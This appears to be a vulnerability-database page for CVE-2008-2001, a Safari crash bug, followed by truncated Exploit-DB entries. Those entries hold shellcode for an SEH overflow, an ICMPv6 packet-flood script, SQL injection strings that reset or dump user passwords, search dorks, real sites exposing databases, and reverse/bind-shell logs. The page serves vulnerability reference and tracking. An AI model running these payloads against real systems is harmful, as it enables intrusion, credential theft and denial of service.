CVE-2008-2001
published 2008-04-28CVE-2008-2001: Apple Safari 3.1.1 allows remote attackers to cause a denial of service (application crash) via a file:///%E2 link that triggers an out-of-bounds access…
PriorityP412medium4.3CVSS 2.0
AVNACMAuNCNINAP
EPSS
1.94%
78.1th percentile
Apple Safari 3.1.1 allows remote attackers to cause a denial of service (application crash) via a file:///%E2 link that triggers an out-of-bounds access, possibly due to a NULL pointer dereference.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | safari | — | — |
CVSS provenance
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:N/A:P
vendor_redhat7.5HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-62fq-q4f8-f9hj: Apple Safari 3
ghsa_unreviewed·2022-05-01
CVE-2008-2001 [MEDIUM] CWE-119 GHSA-62fq-q4f8-f9hj: Apple Safari 3
Apple Safari 3.1.1 allows remote attackers to cause a denial of service (application crash) via a file:///%E2 link that triggers an out-of-bounds access, possibly due to a NULL pointer dereference.
Red Hat
namazu XSS flaw
vendor_redhat·CVSS 7.5
CVE-2008-1468 [HIGH] namazu XSS flaw
namazu XSS flaw
Cross-site scripting (XSS) vulnerability in namazu.cgi in Namazu before 2.0.18 allows remote attackers to inject arbitrary web script or HTML via UTF-7 encoded input, related to failure to set the charset, a different vector than CVE-2004-1318 and CVE-2001-1350. NOTE: some of these details are obtained from third party information.
Red Hat
CVE-2008-5377: pstopdf in CUPS 1
vendor_redhat·CVSS 1.2
CVE-2008-5377 [LOW] CVE-2008-5377: pstopdf in CUPS 1
pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/pstopdf.log temporary file, a different vulnerability than CVE-2001-1333.
Statement: Not vulnerable. This issue did not affect the versions of CUPS as shipped with Red Hat Enterprise Linux 3, 4, or 5.
Affected script is not part of the upstream CUPS distribution, but rather an addition used by Debian-based distributions (and possibly others).
CUPS packages as shipped in Red Hat Enterprise Linux 5 also provide pstopdf filter. However, that filter is different from the one used in Debian-based distributions, and is unaffected by this flaw.
Additionally, all filters used by CUPS on all versions of Red Hat Enterprise Linux are run under an unprivileged "lp" user, making the root privilege es
No detection rules found.
Exploit-DB
SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
exploitdb·2010-07-03
CVE-2008-6898 SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
---
'SEH Overwrite exploited by Blake
'Original EIP method by callAX
'Tested on XP SP3/IE7 in virtualbox
'$ nc 192.168.1.155 4444
'Microsoft Windows XP [Version 5.1.2600]
'(C) Copyright 1985-2001 Microsoft Corp.
'
'C:\Documents and Settings\blake\Desktop>
buffer = String(8349, "A")
nseh = unescape("%eb%06%90%90") ' short jump
seh = unescape("%4E%20%D1%72") ' 0x72D1204E [msacm32.drv]
nops = String(20, unescape("%90")) ' nop sled
junk = String(2000, "C")
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%3
Exploit-DB
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
exploitdb·2010-02-09
CVE-2010-0239 Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
---
source: https://www.securityfocus.com/bid/38061/info
Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions.
v6_dst = ""
mac_dst = ""
pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)
l=fragment6(pkt, 1500)
for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")
Exploit-DB
Liberum Help Desk 0.97.3 - SQL Injection / File Disclosure
exploitdb·2008-12-16
CVE-2008-6057 Liberum Help Desk 0.97.3 - SQL Injection / File Disclosure
Liberum Help Desk 0.97.3 - SQL Injection / File Disclosure
---
Liberum Help Desk (SQL/DD) Multiple Remote Vulnerabilities
author : Cold z3ro, www.hackteach.org
Dork : "Liberum Help Desk, Copyright (C) 2001 Doug Luxem"
[#] SQL Injection
http://www.site.com/[path]/forgotpass.asp
In uid insert SQL command's =>
SCMD ==> ' or '1=1
SCMD ==> ' or 'update tblusers set password = "z3ro"
all passwords will be z3ro
[#] Database Disclosure
http://www.site.com/[path]/db/helpdesk2000.mdb
example :
https://www.bauer.uh.edu/helpdesk/db/helpdesk2000.mdb
http://www.ags2.com/helpdesk/db/helpdesk2000.mdb
# milw0rm.com [2008-12-16]
Exploit-DB
VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
exploitdb·2008-10-23
CVE-2008-4686 VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
---
#!/usr/bin/perl
# 10/23/2008 k`sOSe
# Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit
# 1 - Works on Windows XP SP1, SP2, SP3 (and probably win2k)
# 2 - Works both with a local file and with a remote url
# 3 - VLC do not crash!
# 4 - Enjoy a respawing shell, even if VLC will be closed!
#
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# e:\Program Files\VideoLAN\VLC>exit
# exit
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# e:\Program Files\VideoLAN\VLC>exit
# exit
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft C
Exploit-DB
CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
exploitdb·2008-09-05·CVSS 7.6
CVE-2008-2639 [HIGH] CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
---
##
# $Id: citect_scada_odbc.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
#
# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101 TARGET=2 E
# [*] Started reverse handler
# ...
# [*] Sending stage (474 bytes)
# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Citect\CitectSCADA\Bin>
#
# Arbi
Exploit-DB
ATutor 1.6.1-pl1 - 'import.php' Remote File Inclusion
exploitdb·2008-07-28
CVE-2008-3368 ATutor 1.6.1-pl1 - 'import.php' Remote File Inclusion
ATutor 1.6.1-pl1 - 'import.php' Remote File Inclusion
---
#####################################################################################
#### ATutor Course Server Rfi ####
#####################################################################################
# #
#AUTHOR : IRCRASH (R3d.W0rm) #
#Discovered by : IRCRASH (R3d.W0rm) #
#Our Site : Http://IRCRASH.COM #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm #
#####################################################################################
# #
#Script Download : www.atutor.ca #
# #
#DORK : "Web site engine's code is copyright © 2001-2007 ATutor®" #
# #
#Note : You must login , then use rfi bug ;) #
#####################################################################################
# [Rfi] #
# #
#http://Example/tools/packages/
Exploit-DB
VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
exploitdb·2008-05-23·CVSS 7.5
CVE-2008-1881 [HIGH] VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
---
#!/usr/bin/python
#
# VLC 0.8.6d Double Sh311 Universal Exploit
# CVE-2007-6681
# Vulnerability Discovered by Michal Luczaj
#
# Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/
# and
# Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net
# WE CODED IT JUST FOR FUN ;)
# Cheers to #offsec and all our firends :) and prelate_ hehe
#-----------------------------------------------------------------------------
#
# FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP
#
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\
Exploit-DB
Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
exploitdb·2008-03-26
CVE-2008-1610 Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
---
#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
# bt ~ # quickftp.py
# [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.130 4444
# (UNKNOWN) [172.16.167.130] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator>
##########################################################
import socket
import sys
print
Exploit-DB
Fully Modded phpBB - 'kb.php' SQL Injection
exploitdb·2008-03-12
CVE-2008-1350 Fully Modded phpBB - 'kb.php' SQL Injection
Fully Modded phpBB - 'kb.php' SQL Injection
---
# Powered by phpBB © 2001, 2006 phpBB Group
# Modified by Fully Modded phpBB © 2002, 2006
#
#########################################################################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORKS 1 : allinurl :kb.php?mode=article&k
# DORKS 2 : article&k=
# DORKS 3 : "Powered by phpBB © 2001, 2006 phpBB Group" "Modified by Fully Modded phpBB © 2002, 2006"
#
##########################################################################
EXPLOIT :
kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+=2&page_num=2&cat=1
#####
No writeups or analysis indexed.
http://es.geocities.com/jplopezy/pruebasafari3.htmlhttp://securityreason.com/securityalert/3833http://www.securityfocus.com/archive/1/491192/100/0/threadedhttp://www.vupen.com/english/advisories/2008/1347https://exchange.xforce.ibmcloud.com/vulnerabilities/41984http://es.geocities.com/jplopezy/pruebasafari3.htmlhttp://securityreason.com/securityalert/3833http://www.securityfocus.com/archive/1/491192/100/0/threadedhttp://www.vupen.com/english/advisories/2008/1347https://exchange.xforce.ibmcloud.com/vulnerabilities/41984
2008-04-28
Published